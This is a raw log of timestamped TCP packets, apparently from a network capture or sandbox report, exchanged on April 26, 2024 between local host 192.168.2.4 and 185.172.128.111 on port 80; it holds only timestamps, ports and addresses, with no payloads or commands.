Apr 26, 2024 09:41:04.487010002 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.487026930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.487049103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.487063885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.487083912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.487101078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.487124920 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.487138033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.487155914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.487175941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.487195015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.487212896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.487232924 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.487266064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.696543932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.696614981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.729916096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.729931116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.729978085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730030060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730045080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730077028 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730094910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730123043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730134010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730192900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730202913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730226040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730252028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730273962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730278015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730324984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730345011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730393887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730480909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730525017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730525970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730571032 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730602026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730626106 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730665922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730685949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730695009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730709076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730735064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730765104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730765104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730814934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730829954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730879068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730899096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730943918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.730945110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730957985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.730995893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.731019020 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.731029987 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.731080055 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.731133938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.731184959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.731204987 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.731234074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.731260061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.731287956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.731307030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.731319904 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.731358051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.936831951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.936943054 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.970551014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.970606089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.970741987 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.970757961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.970757961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.970793009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.970797062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.970860958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.970894098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.970940113 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.970987082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971034050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971054077 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971113920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971123934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971163988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971184015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971230984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971246958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971288919 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971298933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971334934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971334934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971380949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971390963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971438885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971450090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971498013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971508980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971523046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971543074 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971570969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971606016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971651077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971666098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971702099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971715927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971750021 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971770048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971827984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971832037 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971854925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.971903086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.971976995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972027063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972058058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972121000 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972151041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972198963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972218037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972239971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972261906 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972289085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972317934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972358942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972388983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972434998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972438097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972460985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972481012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972511053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972529888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972578049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972585917 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972635031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972646952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972693920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972702980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972733974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972740889 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972784042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972791910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972840071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972853899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972907066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.972910881 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972960949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.972961903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.973004103 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.973015070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.973048925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.973057032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.973079920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.973100901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.973141909 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.973148108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.973193884 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.973215103 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.973253965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.973278046 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.973305941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.973331928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.973375082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.973386049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.973407984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:04.973432064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:04.973469019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:05.373812914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:05.373924971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:05.622874022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:05.622886896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:05.622895956 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:05.622903109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:05.622911930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:05.910243034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:05.910377979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:06.010579109 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:06.011868954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:06.250889063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:06.252041101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:06.252078056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:06.486962080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:06.487034082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:06.513700962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:06.761823893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:06.995486975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:06.995619059 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:07.248187065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:07.488564968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:07.630486012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:07.630553007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:07.877012968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.120544910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.229480982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.229515076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.229532957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.229548931 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.229567051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.229584932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.229604006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.229612112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.229620934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.229655027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.229671955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.229743958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.229773998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.229808092 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.229824066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.230161905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.284585953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.284619093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.284667015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.284677982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.284717083 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.284717083 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.469974041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470005035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470060110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470078945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470077991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470101118 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470118046 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470118999 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470118999 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470135927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470165968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470215082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470222950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470263958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470293045 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470335007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470453978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470499992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470510006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470550060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470706940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470753908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470762014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470797062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470801115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470830917 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470839024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470871925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470930099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.470971107 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.470997095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.471045971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.471072912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.471107006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.471117020 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.471148014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.471158981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.471200943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.471227884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.471270084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.471313953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.471358061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.471380949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.471424103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.471434116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.471470118 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.471481085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.471510887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.525139093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.525171995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.525191069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.525211096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.525213003 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.525255919 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.525268078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.525290012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.525309086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.525326967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.525368929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.710689068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.710717916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.710803032 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.710840940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.710854053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.710897923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.711045980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.711085081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.711117983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.711167097 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.711179972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.711221933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.711230993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.711270094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.711345911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.711388111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.711538076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.711586952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.712227106 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.712275982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.712277889 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.712316036 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.712330103 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.712369919 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.712378979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.712418079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.712455988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.712496996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.712506056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.712553978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.712555885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.712589979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.712606907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.712644100 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.712672949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.712711096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.712733030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.712769985 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.712829113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.712866068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.712903023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.712941885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.712970018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713016033 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713021994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713061094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713085890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713119030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713121891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713155985 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713197947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713238955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713239908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713283062 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713305950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713345051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713372946 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713392019 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713423014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713438988 CEST	49730	80	192.168.2.4	185.172.128.111
